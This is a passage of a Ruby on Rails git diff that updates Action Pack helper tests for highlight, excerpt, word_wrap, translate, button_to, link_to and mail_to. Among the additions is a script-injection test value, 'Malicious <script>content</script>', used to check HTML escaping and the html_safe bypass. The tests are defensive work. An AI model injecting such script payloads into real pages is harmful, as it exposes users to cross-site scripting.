       highlight("This is a beautiful! morning", "beautiful! morning")
     )
 
     assert_equal(
-      "This is a <strong class=\"highlight\">beautiful? morning</strong>",
+      "This is a <mark>beautiful? morning</mark>",
       highlight("This is a beautiful? morning", "beautiful? morning")
     )
   end
 
   def test_highlight_with_multiple_phrases_in_one_pass
-    assert_equal %(<em>wow</em> <em>em</em>), highlight('wow em', %w(wow em), '<em>\1</em>')
-  end
-
-  def test_highlight_with_options_hash
-    assert_equal(
-      "This is a <b>beautiful</b> morning, but also a <b>beautiful</b> day",
-      highlight("This is a beautiful morning, but also a beautiful day", "beautiful", :highlighter => '<b>\1</b>')
-    )
+    assert_equal %(<em>wow</em> <em>em</em>), highlight('wow em', %w(wow em), :highlighter => '<em>\1</em>')
   end
 
   def test_highlight_with_html
     assert_equal(
-      "<p>This is a <strong class=\"highlight\">beautiful</strong> morning, but also a <strong class=\"highlight\">beautiful</strong> day</p>",
+      "<p>This is a <mark>beautiful</mark> morning, but also a <mark>beautiful</mark> day</p>",
       highlight("<p>This is a beautiful morning, but also a beautiful day</p>", "beautiful")
     )
     assert_equal(
-      "<p>This is a <em><strong class=\"highlight\">beautiful</strong></em> morning, but also a <strong class=\"highlight\">beautiful</strong> day</p>",
+      "<p>This is a <em><mark>beautiful</mark></em> morning, but also a <mark>beautiful</mark> day</p>",
       highlight("<p>This is a <em>beautiful</em> morning, but also a beautiful day</p>", "beautiful")
     )
     assert_equal(
-      "<p>This is a <em class=\"error\"><strong class=\"highlight\">beautiful</strong></em> morning, but also a <strong class=\"highlight\">beautiful</strong> <span class=\"last\">day</span></p>",
+      "<p>This is a <em class=\"error\"><mark>beautiful</mark></em> morning, but also a <mark>beautiful</mark> <span class=\"last\">day</span></p>",
       highlight("<p>This is a <em class=\"error\">beautiful</em> morning, but also a beautiful <span class=\"last\">day</span></p>", "beautiful")
     )
     assert_equal(
-      "<p class=\"beautiful\">This is a <strong class=\"highlight\">beautiful</strong> morning, but also a <strong class=\"highlight\">beautiful</strong> day</p>",
+      "<p class=\"beautiful\">This is a <mark>beautiful</mark> morning, but also a <mark>beautiful</mark> day</p>",
       highlight("<p class=\"beautiful\">This is a beautiful morning, but also a beautiful day</p>", "beautiful")
     )
     assert_equal(
-      "<p>This is a <strong class=\"highlight\">beautiful</strong> <a href=\"http://example.com/beautiful#top?what=beautiful%20morning&amp;when=now+then\">morning</a>, but also a <strong class=\"highlight\">beautiful</strong> day</p>",
+      "<p>This is a <mark>beautiful</mark> <a href=\"http://example.com/beautiful#top?what=beautiful%20morning&amp;when=now+then\">morning</a>, but also a <mark>beautiful</mark> day</p>",
       highlight("<p>This is a beautiful <a href=\"http://example.com/beautiful\#top?what=beautiful%20morning&when=now+then\">morning</a>, but also a beautiful day</p>", "beautiful")
     )
+    assert_equal(
+      "<div>abc <b>div</b></div>",
+      highlight("<div>abc div</div>", "div", :highlighter => '<b>\1</b>')
+    )
+  end
+
+  def test_highlight_does_not_modify_the_options_hash
+    options = { :highlighter => '<b>\1</b>', :sanitize => false }
+    passed_options = options.dup
+    highlight("<div>abc div</div>", "div", passed_options)
+    assert_equal options, passed_options
   end
 
   def test_excerpt
-    assert_equal("...is a beautiful morn...", excerpt("This is a beautiful morning", "beautiful", 5))
-    assert_equal("This is a...", excerpt("This is a beautiful morning", "this", 5))
-    assert_equal("...iful morning", excerpt("This is a beautiful morning", "morning", 5))
+    assert_equal("...is a beautiful morn...", excerpt("This is a beautiful morning", "beautiful", :radius => 5))
+    assert_equal("This is a...", excerpt("This is a beautiful morning", "this", :radius => 5))
+    assert_equal("...iful morning", excerpt("This is a beautiful morning", "morning", :radius => 5))
     assert_nil excerpt("This is a beautiful morning", "day")
   end
 
   def test_excerpt_should_not_be_html_safe
-    assert !excerpt('This is a beautiful! morning', 'beautiful', 5).html_safe?
+    assert !excerpt('This is a beautiful! morning', 'beautiful', :radius => 5).html_safe?
   end
 
   def test_excerpt_in_borderline_cases
-    assert_equal("", excerpt("", "", 0))
-    assert_equal("a", excerpt("a", "a", 0))
-    assert_equal("...b...", excerpt("abc", "b", 0))
-    assert_equal("abc", excerpt("abc", "b", 1))
-    assert_equal("abc...", excerpt("abcd", "b", 1))
-    assert_equal("...abc", excerpt("zabc", "b", 1))
-    assert_equal("...abc...", excerpt("zabcd", "b", 1))
-    assert_equal("zabcd", excerpt("zabcd", "b", 2))
+    assert_equal("", excerpt("", "", :radius => 0))
+    assert_equal("a", excerpt("a", "a", :radius => 0))
+    assert_equal("...b...", excerpt("abc", "b", :radius => 0))
+    assert_equal("abc", excerpt("abc", "b", :radius => 1))
+    assert_equal("abc...", excerpt("abcd", "b", :radius => 1))
+    assert_equal("...abc", excerpt("zabc", "b", :radius => 1))
+    assert_equal("...abc...", excerpt("zabcd", "b", :radius => 1))
+    assert_equal("zabcd", excerpt("zabcd", "b", :radius => 2))
 
     # excerpt strips the resulting string before ap-/prepending excerpt_string.
     # whether this behavior is meaningful when excerpt_string is not to be
     # appended is questionable.
-    assert_equal("zabcd", excerpt("  zabcd  ", "b", 4))
-    assert_equal("...abc...", excerpt("z  abc  d", "b", 1))
+    assert_equal("zabcd", excerpt("  zabcd  ", "b", :radius => 4))
+    assert_equal("...abc...", excerpt("z  abc  d", "b", :radius => 1))
   end
 
   def test_excerpt_with_regex
-    assert_equal('...is a beautiful! mor...', excerpt('This is a beautiful! morning', 'beautiful', 5))
-    assert_equal('...is a beautiful? mor...', excerpt('This is a beautiful? morning', 'beautiful', 5))
+    assert_equal('...is a beautiful! mor...', excerpt('This is a beautiful! morning', 'beautiful', :radius => 5))
+    assert_equal('...is a beautiful? mor...', excerpt('This is a beautiful? morning', 'beautiful', :radius => 5))
   end
 
-  def test_excerpt_with_options_hash
-    assert_equal("...is a beautiful morn...", excerpt("This is a beautiful morning", "beautiful", :radius => 5))
+  def test_excerpt_with_omission
     assert_equal("[...]is a beautiful morn[...]", excerpt("This is a beautiful morning", "beautiful", :omission => "[...]",:radius => 5))
     assert_equal(
       "This is the ultimate supercalifragilisticexpialidoceous very looooooooooooooooooong looooooooooooong beautiful morning with amazing sunshine and awesome tempera[...]",
@@ -239,33 +292,30 @@ class TextHelperTest < ActionView::TestCase
     )
   end
 
-  if RUBY_VERSION < '1.9'
-    def test_excerpt_with_utf8
-      with_kcode('u') do
-        assert_equal("...\357\254\203ciency could not be...", excerpt("That's why e\357\254\203ciency could not be helped", 'could', 8))
-      end
-      with_kcode('none') do
-        assert_equal("...\203ciency could not be...", excerpt("That's why e\357\254\203ciency could not be helped", 'could', 8))
-      end
-    end
-  else
-    def test_excerpt_with_utf8
-      assert_equal("...\357\254\203ciency could not be...".force_encoding('UTF-8'), excerpt("That's why e\357\254\203ciency could not be helped".force_encoding('UTF-8'), 'could', 8))
-      # .mb_chars always returns UTF-8, even in 1.9. This is not great, but it's how it works. Let's work this out.
-      # assert_equal("...\203ciency could not be...", excerpt("That's why e\357\254\203ciency could not be helped".force_encoding("BINARY"), 'could', 8))
-    end
+  def test_excerpt_with_utf8
+    assert_equal("...\357\254\203ciency could not be...".force_encoding('UTF-8'), excerpt("That's why e\357\254\203ciency could not be helped".force_encoding('UTF-8'), 'could', :radius => 8))
+  end
+
+  def test_excerpt_does_not_modify_the_options_hash
+    options = { :omission => "[...]",:radius => 5 }
+    passed_options = options.dup
+    excerpt("This is a beautiful morning", "beautiful", passed_options)
+    assert_equal options, passed_options
   end
 
   def test_word_wrap
-    assert_equal("my very very\nvery long\nstring", word_wrap("my very very very long string", 15))
+    assert_equal("my very very\nvery long\nstring", word_wrap("my very very very long string", :line_width => 15))
   end
 
   def test_word_wrap_with_extra_newlines
-    assert_equal("my very very\nvery long\nstring\n\nwith another\nline", word_wrap("my very very very long string\n\nwith another line", 15))
+    assert_equal("my very very\nvery long\nstring\n\nwith another\nline", word_wrap("my very very very long string\n\nwith another line", :line_width => 15))
   end
 
-  def test_word_wrap_with_options_hash
-    assert_equal("my very very\nvery long\nstring", word_wrap("my very very very long string", :line_width => 15))
+  def test_word_wrap_does_not_modify_the_options_hash
+    options = { :line_width => 15 }
+    passed_options = options.dup
+    word_wrap("some text", passed_options)
+    assert_equal options, passed_options
   end
 
   def test_pluralization
diff --git a/actionpack/test/template/translation_helper_test.rb b/actionpack/test/template/translation_helper_test.rb
index cd9f54e04c..d496dbb35e 100644
--- a/actionpack/test/template/translation_helper_test.rb
+++ b/actionpack/test/template/translation_helper_test.rb
@@ -11,14 +11,20 @@ class TranslationHelperTest < ActiveSupport::TestCase
       :translations => {
         :templates => {
           :found => { :foo => 'Foo' },
-          :array => { :foo => { :bar => 'Foo Bar' } }
+          :array => { :foo => { :bar => 'Foo Bar' } },
+          :default => { :foo => 'Foo' }
         },
         :foo => 'Foo',
         :hello => '<a>Hello World</a>',
         :html => '<a>Hello World</a>',
         :hello_html => '<a>Hello World</a>',
+        :interpolated_html => '<a>Hello %{word}</a>',
         :array_html => %w(foo bar),
-        :array => %w(foo bar)
+        :array => %w(foo bar),
+        :count_html => {
+          :one   => '<a>One %{count}</a>',
+          :other => '<a>Other %{count}</a>'
+        }
       }
     )
     @view = ::ActionView::Base.new(ActionController::Base.view_paths, {})
@@ -66,6 +72,10 @@ class TranslationHelperTest < ActiveSupport::TestCase
     assert_equal 'Foo Bar', @view.render(:file => 'translations/templates/array').strip
   end
 
+  def test_default_lookup_scoped_by_partial
+    assert_equal 'Foo', view.render(:file => 'translations/templates/default').strip
+  end
+
   def test_missing_translation_scoped_by_partial
     expected = '<span class="translation_missing" title="translation missing: en.translations.templates.missing.missing">Missing</span>'
     assert_equal expected, view.render(:file => 'translations/templates/missing').strip
@@ -83,7 +93,46 @@ class TranslationHelperTest < ActiveSupport::TestCase
     assert translate(:'translations.hello_html').html_safe?
   end
 
+  def test_translate_escapes_interpolations_in_translations_with_a_html_suffix
+    assert_equal '<a>Hello &lt;World&gt;</a>', translate(:'translations.interpolated_html', :word => '<World>')
+    assert_equal '<a>Hello &lt;World&gt;</a>', translate(:'translations.interpolated_html', :word => stub(:to_s => "<World>"))
+  end
+
+  def test_translate_with_html_count
+    assert_equal '<a>One 1</a>', translate(:'translations.count_html', :count => 1)
+    assert_equal '<a>Other 2</a>', translate(:'translations.count_html', :count => 2)
+    assert_equal '<a>Other &lt;One&gt;</a>', translate(:'translations.count_html', :count => '<One>')
+  end
+
   def test_translation_returning_an_array_ignores_html_suffix
     assert_equal ["foo", "bar"], translate(:'translations.array_html')
   end
+
+  def test_translate_with_default_named_html
+    translation = translate(:'translations.missing', :default => :'translations.hello_html')
+    assert_equal '<a>Hello World</a>', translation
+    assert_equal true, translation.html_safe?
+  end
+
+  def test_translate_with_two_defaults_named_html
+    translation = translate(:'translations.missing', :default => [:'translations.missing_html', :'translations.hello_html'])
+    assert_equal '<a>Hello World</a>', translation
+    assert_equal true, translation.html_safe?
+  end
+
+  def test_translate_with_last_default_named_html
+    translation = translate(:'translations.missing', :default => [:'translations.missing', :'translations.hello_html'])
+    assert_equal '<a>Hello World</a>', translation
+    assert_equal true, translation.html_safe?
+  end
+
+  def test_translate_with_string_default
+    translation = translate(:'translations.missing', default: 'A Generic String')
+    assert_equal 'A Generic String', translation
+  end
+
+  def test_translate_with_array_of_string_defaults
+    translation = translate(:'translations.missing', default: ['A Generic String', 'Second generic string'])
+    assert_equal 'A Generic String', translation
+  end
 end
diff --git a/actionpack/test/template/url_helper_test.rb b/actionpack/test/template/url_helper_test.rb
index bc45fabf34..f9f8c36fff 100644
--- a/actionpack/test/template/url_helper_test.rb
+++ b/actionpack/test/template/url_helper_test.rb
@@ -1,6 +1,5 @@
 # encoding: utf-8
 require 'abstract_unit'
-require 'active_support/ordered_hash'
 require 'controller/fake_controllers'
 
 class UrlHelperTest < ActiveSupport::TestCase
@@ -11,11 +10,14 @@ class UrlHelperTest < ActiveSupport::TestCase
   # In those cases, we'll set up a simple mock
   attr_accessor :controller, :request
 
+  cattr_accessor :request_forgery
+  self.request_forgery = false
+
   routes = ActionDispatch::Routing::RouteSet.new
   routes.draw do
-    match "/" => "foo#bar"
-    match "/other" => "foo#other"
-    match "/article/:id" => "foo#article", :as => :article
+    get "/" => "foo#bar"
+    get "/other" => "foo#other"
+    get "/article/:id" => "foo#article", :as => :article
   end
 
   include routes.url_helpers
@@ -28,13 +30,13 @@ class UrlHelperTest < ActiveSupport::TestCase
 
   setup :_prepare_context
 
-  def hash_for(opts = [])
-    ActiveSupport::OrderedHash[*([:controller, "foo", :action, "bar"].concat(opts))]
+  def hash_for(options = {})
+    { :controller => "foo", :action => "bar" }.merge!(options)
   end
   alias url_hash hash_for
 
   def test_url_for_does_not_escape_urls
-    assert_equal "/?a=b&c=d", url_for(hash_for([:a, :b, :c, :d]))
+    assert_equal "/?a=b&c=d", url_for(hash_for(:a => :b, :c => :d))
   end
 
   def test_url_for_with_back
@@ -49,11 +51,22 @@ class UrlHelperTest < ActiveSupport::TestCase
     assert_equal 'javascript:history.back()', url_for(:back)
   end
 
-  # todo: missing test cases
+  # TODO: missing test cases
   def test_button_to_with_straight_url
     assert_dom_equal "<form method=\"post\" action=\"http://www.example.com\" class=\"button_to\"><div><input type=\"submit\" value=\"Hello\" /></div></form>", button_to("Hello", "http://www.example.com")
   end
 
+  def test_button_to_with_straight_url_and_request_forgery
+    self.request_forgery = true
+
+    assert_dom_equal(
+      %{<form method="post" action="http://www.example.com" class="button_to"><div><input type="submit" value="Hello" /><input name="form_token" type="hidden" value="secret" /></div></form>},
+      button_to("Hello", "http://www.example.com")
+    )
+  ensure
+    self.request_forgery = false
+  end
+
   def test_button_to_with_form_class
     assert_dom_equal "<form method=\"post\" action=\"http://www.example.com\" class=\"custom-class\"><div><input type=\"submit\" value=\"Hello\" /></div></form>", button_to("Hello", "http://www.example.com", :form_class => 'custom-class')
   end
@@ -77,40 +90,69 @@ class UrlHelperTest < ActiveSupport::TestCase
   def test_button_to_with_javascript_confirm
     assert_dom_equal(
       "<form method=\"post\" action=\"http://www.example.com\" class=\"button_to\"><div><input data-confirm=\"Are you sure?\" type=\"submit\" value=\"Hello\" /></div></form>",
-      button_to("Hello", "http://www.example.com", :confirm => "Are you sure?")
+      button_to("Hello", "http://www.example.com", :data => { :confirm => "Are you sure?" })
     )
   end
 
+  def test_button_to_with_deprecated_confirm
+    assert_deprecated ":confirm option is deprecated and will be removed from Rails 4.1. Use ':data => { :confirm => \'Text\' }' instead" do
+      assert_dom_equal(
+        "<form method=\"post\" action=\"http://www.example.com\" class=\"button_to\"><div><input data-confirm=\"Are you sure?\" type=\"submit\" value=\"Hello\" /></div></form>",
+        button_to("Hello", "http://www.example.com", :confirm => "Are you sure?")
+      )
+    end
+  end
+
   def test_button_to_with_javascript_disable_with
     assert_dom_equal(
       "<form method=\"post\" action=\"http://www.example.com\" class=\"button_to\"><div><input data-disable-with=\"Greeting...\" type=\"submit\" value=\"Hello\" /></div></form>",
-      button_to("Hello", "http://www.example.com", :disable_with => "Greeting...")
+      button_to("Hello", "http://www.example.com", :data => { :disable_with => "Greeting..." })
     )
   end
 
+  def test_button_to_with_javascript_deprecated_disable_with
+    assert_deprecated ":disable_with option is deprecated and will be removed from Rails 4.1. Use ':data => { :disable_with => \'Text\' }' instead" do
+      assert_dom_equal(
+        "<form method=\"post\" action=\"http://www.example.com\" class=\"button_to\"><div><input data-disable-with=\"Greeting...\" type=\"submit\" value=\"Hello\" /></div></form>",
+        button_to("Hello", "http://www.example.com", :disable_with => "Greeting...")
+      )
+    end
+  end
+
   def test_button_to_with_remote_and_form_options
     assert_dom_equal "<form method=\"post\" action=\"http://www.example.com\" class=\"custom-class\" data-remote=\"true\" data-type=\"json\"><div><input type=\"submit\" value=\"Hello\" /></div></form>", button_to("Hello", "http://www.example.com", :remote => true, :form => { :class => "custom-class", "data-type" => "json" } )
   end
-  
+
   def test_button_to_with_remote_and_javascript_confirm
     assert_dom_equal(
       "<form method=\"post\" action=\"http://www.example.com\" class=\"button_to\" data-remote=\"true\"><div><input data-confirm=\"Are you sure?\" type=\"submit\" value=\"Hello\" /></div></form>",
-      button_to("Hello", "http://www.example.com", :remote => true, :confirm => "Are you sure?")
+      button_to("Hello", "http://www.example.com", :remote => true, :data => { :confirm => "Are you sure?" })
     )
   end
 
+  def test_button_to_with_remote_and_javascript_with_deprecated_confirm
+    assert_deprecated ":confirm option is deprecated and will be removed from Rails 4.1. Use ':data => { :confirm => \'Text\' }' instead" do
+      assert_dom_equal(
+        "<form method=\"post\" action=\"http://www.example.com\" class=\"button_to\" data-remote=\"true\"><div><input data-confirm=\"Are you sure?\" type=\"submit\" value=\"Hello\" /></div></form>",
+        button_to("Hello", "http://www.example.com", :remote => true, :confirm => "Are you sure?")
+      )
+    end
+  end
+
   def test_button_to_with_remote_and_javascript_disable_with
     assert_dom_equal(
       "<form method=\"post\" action=\"http://www.example.com\" class=\"button_to\" data-remote=\"true\"><div><input data-disable-with=\"Greeting...\" type=\"submit\" value=\"Hello\" /></div></form>",
-      button_to("Hello", "http://www.example.com", :remote => true, :disable_with => "Greeting...")
+      button_to("Hello", "http://www.example.com", :remote => true, :data => { :disable_with => "Greeting..." })
     )
   end
 
-  def test_button_to_with_remote_and_javascript_confirm_and_javascript_disable_with
-    assert_dom_equal(
-      "<form method=\"post\" action=\"http://www.example.com\" class=\"button_to\" data-remote=\"true\"><div><input data-disable-with=\"Greeting...\" data-confirm=\"Are you sure?\" type=\"submit\" value=\"Hello\" /></div></form>",
-      button_to("Hello", "http://www.example.com", :remote => true, :confirm => "Are you sure?", :disable_with => "Greeting...")
-    )
+  def test_button_to_with_remote_and_javascript_deprecated_disable_with
+    assert_deprecated ":disable_with option is deprecated and will be removed from Rails 4.1. Use ':data => { :disable_with => \'Text\' }' instead" do
+      assert_dom_equal(
+        "<form method=\"post\" action=\"http://www.example.com\" class=\"button_to\" data-remote=\"true\"><div><input data-disable-with=\"Greeting...\" type=\"submit\" value=\"Hello\" /></div></form>",
+        button_to("Hello", "http://www.example.com", :remote => true, :disable_with => "Greeting...")
+      )
+    end
   end
 
   def test_button_to_with_remote_false
@@ -145,6 +187,13 @@ class UrlHelperTest < ActiveSupport::TestCase
     )
   end
 
+  def test_button_to_with_block
+    assert_dom_equal(
+      "<form method=\"post\" action=\"http://www.example.com\" class=\"button_to\"><div><button type=\"submit\"><span>Hello</span></button></div></form>",
+      button_to("http://www.example.com") { content_tag(:span, 'Hello') }
+    )
+  end
+
   def test_link_tag_with_straight_url
     assert_dom_equal "<a href=\"http://www.example.com\">Hello</a>", link_to("Hello", "http://www.example.com")
   end
@@ -154,7 +203,7 @@ class UrlHelperTest < ActiveSupport::TestCase
   end
 
   def test_link_tag_with_host_option
-    hash = hash_for([:host, "www.example.com"])
+    hash = hash_for(:host => "www.example.com")
     expected = %q{<a href="http://www.example.com/">Test Link</a>}
     assert_dom_equal(expected, link_to('Test Link', hash))
   end
@@ -195,25 +244,46 @@ class UrlHelperTest < ActiveSupport::TestCase
 
   def test_link_tag_with_custom_onclick
     link = link_to("Hello", "http://www.example.com", :onclick => "alert('yay!')")
-    expected = %{<a href="http://www.example.com" onclick="alert('yay!')">Hello</a>}
+    expected = %{<a href="http://www.example.com" onclick="alert(&#x27;yay!&#x27;)">Hello</a>}
     assert_dom_equal expected, link
   end
 
   def test_link_tag_with_javascript_confirm
     assert_dom_equal(
       "<a href=\"http://www.example.com\" data-confirm=\"Are you sure?\">Hello</a>",
-      link_to("Hello", "http://www.example.com", :confirm => "Are you sure?")
+      link_to("Hello", "http://www.example.com", :data => { :confirm => "Are you sure?" })
     )
     assert_dom_equal(
-      "<a href=\"http://www.example.com\" data-confirm=\"You can't possibly be sure, can you?\">Hello</a>",
-      link_to("Hello", "http://www.example.com", :confirm => "You can't possibly be sure, can you?")
+      "<a href=\"http://www.example.com\" data-confirm=\"You cant possibly be sure, can you?\">Hello</a>",
+      link_to("Hello", "http://www.example.com", :data => { :confirm => "You cant possibly be sure, can you?" })
     )
     assert_dom_equal(
-      "<a href=\"http://www.example.com\" data-confirm=\"You can't possibly be sure,\n can you?\">Hello</a>",
-      link_to("Hello", "http://www.example.com", :confirm => "You can't possibly be sure,\n can you?")
+      "<a href=\"http://www.example.com\" data-confirm=\"You cant possibly be sure,\n can you?\">Hello</a>",
+      link_to("Hello", "http://www.example.com", :data => { :confirm => "You cant possibly be sure,\n can you?" })
     )
   end
 
+  def test_link_tag_with_deprecated_confirm
+    assert_deprecated ":confirm option is deprecated and will be removed from Rails 4.1. Use ':data => { :confirm => \'Text\' }' instead" do
+      assert_dom_equal(
+        "<a href=\"http://www.example.com\" data-confirm=\"Are you sure?\">Hello</a>",
+        link_to("Hello", "http://www.example.com", :confirm => "Are you sure?")
+      )
+    end
+    assert_deprecated ":confirm option is deprecated and will be removed from Rails 4.1. Use ':data => { :confirm => \'Text\' }' instead" do
+      assert_dom_equal(
+        "<a href=\"http://www.example.com\" data-confirm=\"You cant possibly be sure, can you?\">Hello</a>",
+        link_to("Hello", "http://www.example.com", :confirm => "You cant possibly be sure, can you?")
+      )
+    end
+    assert_deprecated ":confirm option is deprecated and will be removed from Rails 4.1. Use ':data => { :confirm => \'Text\' }' instead" do
+      assert_dom_equal(
+        "<a href=\"http://www.example.com\" data-confirm=\"You cant possibly be sure,\n can you?\">Hello</a>",
+        link_to("Hello", "http://www.example.com", :confirm => "You cant possibly be sure,\n can you?")
+      )
+    end
+  end
+
   def test_link_to_with_remote
     assert_dom_equal(
       "<a href=\"http://www.example.com\" data-remote=\"true\">Hello</a>",
@@ -259,18 +329,47 @@ class UrlHelperTest < ActiveSupport::TestCase
   def test_link_tag_using_post_javascript_and_confirm
     assert_dom_equal(
       "<a href=\"http://www.example.com\" data-method=\"post\" rel=\"nofollow\" data-confirm=\"Are you serious?\">Hello</a>",
-      link_to("Hello", "http://www.example.com", :method => :post, :confirm => "Are you serious?")
+      link_to("Hello", "http://www.example.com", :method => :post, :data => { :confirm => "Are you serious?" })
     )
   end
 
+  def test_link_tag_using_post_javascript_and_with_deprecated_confirm
+    assert_deprecated ":confirm option is deprecated and will be removed from Rails 4.1. Use ':data => { :confirm => \'Text\' }' instead" do
+      assert_dom_equal(
+        "<a href=\"http://www.example.com\" data-method=\"post\" rel=\"nofollow\" data-confirm=\"Are you serious?\">Hello</a>",
+        link_to("Hello", "http://www.example.com", :method => :post, :confirm => "Are you serious?")
+      )
+    end
+  end
+
   def test_link_tag_using_delete_javascript_and_href_and_confirm
     assert_dom_equal(
       "<a href='\#' rel=\"nofollow\" data-confirm=\"Are you serious?\" data-method=\"delete\">Destroy</a>",
-      link_to("Destroy", "http://www.example.com", :method => :delete, :href => '#', :confirm => "Are you serious?"),
+      link_to("Destroy", "http://www.example.com", :method => :delete, :href => '#', :data => { :confirm => "Are you serious?" }),
       "When specifying url, form should be generated with it, but not this.href"
     )
   end
 
+  def test_link_tag_using_delete_javascript_and_href_and_with_deprecated_confirm
+    assert_deprecated ":confirm option is deprecated and will be removed from Rails 4.1. Use ':data => { :confirm => \'Text\' }' instead" do
+      assert_dom_equal(
+        "<a href='\#' rel=\"nofollow\" data-confirm=\"Are you serious?\" data-method=\"delete\">Destroy</a>",
+        link_to("Destroy", "http://www.example.com", :method => :delete, :href => '#', :confirm => "Are you serious?"),
+        "When specifying url, form should be generated with it, but not this.href"
+      )
+    end
+  end
+
+  def test_link_tag_with_block
+    assert_dom_equal '<a href="/"><span>Example site</span></a>',
+      link_to('/') { content_tag(:span, 'Example site') }
+  end
+
+  def test_link_tag_with_block_and_html_options
+    assert_dom_equal '<a class="special" href="/"><span>Example site</span></a>',
+      link_to('/', :class => "special") { content_tag(:span, 'Example site') }
+  end
+
   def test_link_tag_using_block_in_erb
     out = render_erb %{<%= link_to('/') do %>Example site<% end %>}
     assert_equal '<a href="/">Example site</a>', out
@@ -283,6 +382,16 @@ class UrlHelperTest < ActiveSupport::TestCase
     )
   end
 
+  def test_link_tag_escapes_content
+    assert_dom_equal '<a href="/">Malicious &lt;script&gt;content&lt;/script&gt;</a>',
+      link_to("Malicious <script>content</script>", "/")
+  end
+
+  def test_link_tag_does_not_escape_html_safe_content
+    assert_dom_equal '<a href="/">Malicious <script>content</script></a>',
+      link_to("Malicious <script>content</script>".html_safe, "/")
+  end
+
   def test_link_to_unless
     assert_equal "Showing", link_to_unless(true, "Showing", url_hash)
 
@@ -329,7 +438,7 @@ class UrlHelperTest < ActiveSupport::TestCase
   def test_current_page_with_params_that_match
     @request = request_for_url("/?order=desc&page=1")
 
-    assert current_page?(hash_for([:order, "desc", :page, "1"]))
+    assert current_page?(hash_for(:order => "desc", :page => "1"))
     assert current_page?("http://www.example.com/?order=desc&page=1")
   end
 
@@ -357,20 +466,20 @@ class UrlHelperTest < ActiveSupport::TestCase
     @request = request_for_url("/?order=desc&page=1")
 
     assert_equal "Showing",
-      link_to_unless_current("Showing", hash_for([:order, 'desc', :page, '1']))
+      link_to_unless_current("Showing", hash_for(:order => 'desc', :page => '1'))
     assert_equal "Showing",
       link_to_unless_current("Showing", "http://www.example.com/?order=desc&page=1")
 
     @request = request_for_url("/?order=desc")
 
     assert_equal %{<a href="/?order=asc">Showing</a>},
-      link_to_unless_current("Showing", hash_for([:order, :asc]))
+      link_to_unless_current("Showing", hash_for(:order => :asc))
     assert_equal %{<a href="http://www.example.com/?order=asc">Showing</a>},
       link_to_unless_current("Showing", "http://www.example.com/?order=asc")
 
     @request = request_for_url("/?order=desc")
     assert_equal %{<a href="/?order=desc&amp;page=2\">Showing</a>},
-      link_to_unless_current("Showing", hash_for([:order, "desc", :page, 2]))
+      link_to_unless_current("Showing", hash_for(:order => "desc", :page => 2))
     assert_equal %{<a href="http://www.example.com/?order=desc&amp;page=2">Showing</a>},
       link_to_unless_current("Showing", "http://www.example.com/?order=desc&page=2")
 
@@ -395,12 +504,12 @@ class UrlHelperTest < ActiveSupport::TestCase
 
   def test_mail_to_with_javascript
     snippet = mail_to("me@domain.com", "My email", :encode => "javascript")
-    assert_dom_equal "<script type=\"text/javascript\">eval(decodeURIComponent('%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%27%3c%61%20%68%72%65%66%3d%5c%22%6d%61%69%6c%74%6f%3a%6d%65%40%64%6f%6d%61%69%6e%2e%63%6f%6d%5c%22%3e%4d%79%20%65%6d%61%69%6c%3c%5c%2f%61%3e%27%29%3b'))</script>", snippet
+    assert_dom_equal "<script>eval(decodeURIComponent('%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%27%3c%61%20%68%72%65%66%3d%5c%22%6d%61%69%6c%74%6f%3a%6d%65%40%64%6f%6d%61%69%6e%2e%63%6f%6d%5c%22%3e%4d%79%20%65%6d%61%69%6c%3c%5c%2f%61%3e%27%29%3b'))</script>", snippet
   end
 
   def test_mail_to_with_javascript_unicode
     snippet = mail_to("unicode@example.com", "únicode", :encode => "javascript")
-    assert_dom_equal "<script type=\"text/javascript\">eval(decodeURIComponent('%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%27%3c%61%20%68%72%65%66%3d%5c%22%6d%61%69%6c%74%6f%3a%75%6e%69%63%6f%64%65%40%65%78%61%6d%70%6c%65%2e%63%6f%6d%5c%22%3e%c3%ba%6e%69%63%6f%64%65%3c%5c%2f%61%3e%27%29%3b'))</script>", snippet
+    assert_dom_equal "<script>eval(decodeURIComponent('%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%27%3c%61%20%68%72%65%66%3d%5c%22%6d%61%69%6c%74%6f%3a%75%6e%69%63%6f%64%65%40%65%78%61%6d%70%6c%65%2e%63%6f%6d%5c%22%3e%c3%ba%6e%69%63%6f%64%65%3c%5c%2f%61%3e%27%29%3b'))</script>", snippet
   end
 
   def test_mail_with_options
@@ -425,8 +534,8 @@ class UrlHelperTest < ActiveSupport::TestCase
     assert_dom_equal "<a href=\"&#109;&#97;&#105;&#108;&#116;&#111;&#58;%6d%65@%64%6f%6d%61%69%6e.%63%6f%6d\">&#109;&#101;&#40;&#97;&#116;&#41;&#100;&#111;&#109;&#97;&#105;&#110;&#46;&#99;&#111;&#109;</a>", mail_to("me@domain.com", nil, :encode => "hex", :replace_at => "(at)")
     assert_dom_equal "<a href=\"&#109;&#97;&#105;&#108;&#116;&#111;&#58;%6d%65@%64%6f%6d%61%69%6e.%63%6f%6d\">My email</a>", mail_to("me@domain.com", "My email", :encode => "hex", :replace_at => "(at)")
     assert_dom_equal "<a href=\"&#109;&#97;&#105;&#108;&#116;&#111;&#58;%6d%65@%64%6f%6d%61%69%6e.%63%6f%6d\">&#109;&#101;&#40;&#97;&#116;&#41;&#100;&#111;&#109;&#97;&#105;&#110;&#40;&#100;&#111;&#116;&#41;&#99;&#111;&#109;</a>", mail_to("me@domain.com", nil, :encode => "hex", :replace_at => "(at)", :replace_dot => "(dot)")
-    assert_dom_equal "<script type=\"text/javascript\">eval(decodeURIComponent('%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%27%3c%61%20%68%72%65%66%3d%5c%22%6d%61%69%6c%74%6f%3a%6d%65%40%64%6f%6d%61%69%6e%2e%63%6f%6d%5c%22%3e%4d%79%20%65%6d%61%69%6c%3c%5c%2f%61%3e%27%29%3b'))</script>", mail_to("me@domain.com", "My email", :encode => "javascript", :replace_at => "(at)", :replace_dot => "(dot)")
